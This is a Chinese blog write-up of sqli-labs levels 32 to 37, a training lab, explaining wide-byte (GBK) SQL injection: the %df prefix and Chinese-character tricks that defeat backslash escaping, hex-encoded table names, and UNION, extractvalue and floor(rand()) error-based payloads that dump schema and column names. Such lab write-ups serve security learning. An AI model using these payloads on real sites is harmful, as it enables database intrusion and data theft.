美文网首页
sqli-labs level32-37 宽字节注入

sqli-labs level32-37 宽字节注入

作者: z1挂东南 | 来源:发表于2019-08-05 12:09 被阅读0次

宽字节条件:前端UTF-8,数据库GBK,在特殊字符前加反斜杠转义。
利用方法:在注入语句的特殊字符前加%df消除反斜杠。

第三十二关

宽字节注入,单引号闭合。
数据库:
?id=1.1%df' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
数据表:
?id=1.1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
这里再多说一下字段名,因为查询字段的时候要有where table_name=’user’,注意,user用引号括起来,但是会被转义:

1.png

加%df消除括号呢:


2.png

还是不行,因为没有表叫user�\。所以这里要把表名转换成16进制进行绕过(转换之前不用加引号,只转换表名就好了),然后写注入语句的时候在16进制的表名前再加个0x,user转换成16进制是75736572。
字段名:
?id=1.1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x75736572 --+

3.png

第三十三关

做法和32关完全一样,也是单引号闭合。32和33有什么区别呢?32关在特殊字符前加反斜杠是使用正则表达式实现的,33关是使用addslashes()函数实现的。


4.png

数据库名:
?id=1.1%df' and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e) ) --+
字段名:
?id=1.1%df' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x75736572),0x7e) ) --+

第三十四关

这是个POST表单,万能密码,依然用%df消除反斜杠。


5.png

发现并没有消除反斜杠,抓个包看一下:


6.png

这里不能用%df消除反斜杠了,尝试用汉字消除反斜杠试试:


7.png

发现汉字可以,接下来的方法就和POST注入一样了。
数据库名:
uname=桑' and extractvalue(1,concat(0x7e,(select database()),0x7e)) #&passwd=&submit=Submit
字段名:
uname=桑' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x75736572 #&passwd=&submit=Submit

8.png

第三十五关

整数型,不用闭合直接注入。
数据库名:
?id=1.1 union select 1,count(*),concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),floor(rand(14)*2),0x7e)a from information_schema.tables group by a --+
字段名:
?id=1.1 union select 1,count(*),concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x75736572),floor(rand(14)*2),0x7e)a from information_schema.tables group by a --+

9.png

第三十六关

使用了mysql_real_escape_string()函数,多过滤一些东西,但是对于注入语句来说没什么影响,和32关做法一模一样,单引号闭合,注入语句都一样。


10.png

第三十七关

36关的POST形式,同样使用mysql_real_escape_string()函数过滤,不过同样对于我们的注入语句没什么影响。单引号闭合,%df不能消除反斜杠,还是要用汉字,参考第34关,注入语句一模一样。

相关文章

  • sqli-labs level32-37 宽字节注入

    宽字节条件:前端UTF-8,数据库GBK,在特殊字符前加反斜杠转义。利用方法:在注入语句的特殊字符前加%df消除反...

  • Mysql注入-宽字节注入,二次编码注入

    宽字节注入 造成宽字节注入的原因,主要是因为使用了宽字节编码,导致一些字符被绕过 当我们注入 1' 时,若被转义成...

  • 宽字节注入

    宽字节注入 原理:宽字节(两字节)带来的安全问题主要是吃ASCII字符(一字节)的现象,使用一些特殊字符来”吃掉“...

  • 宽字节注入

    概述 首先要先了解一个宽字节注入,宽字节注入主要是源于程序员设置数据库编码与php编码设置为不同的两个编码,这样就...

  • PHP宽字节注入

    在PHPMySql语句中存在着宽字节注入漏洞,MySQL宽字节注入漏洞是SQL注入漏洞攻防技术相互促进的一个典型例...

  • sql注入 | 宽字节注入

    路漫漫其修远兮,吾将上下而求索。 mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%...

  • sql注入-宽字节注入

    宽字节注入原理 当数据库编码方式为gdk时,一个汉字会占用两个字节,平常字符会占一个字节 例如:你 url编码之后...

  • mysql宽字节注入

    宽字节注入主要来自程序员设置数据库编码为非英文编码就有可能产生宽字节注入,典型情景是网站使用GBK编码,数据库使用...

  • 墨者学院-SQL手工注入漏洞测试(MySQL数据库)

    思路:1.判断是否存在注入点。使用and、or、’,判断是否有注入,是否存在宽字节注入.是否存在http头注入以及...

  • 搭建sqli-labs注入平台

    搭建SQL注入平台 docker搭建sqli-labs 运行sqli-labs 初始化数据库 访问sqli-labs

网友评论

      本文标题:sqli-labs level32-37 宽字节注入

      本文链接:https://www.haomeiwen.com/subject/uygpdctx.html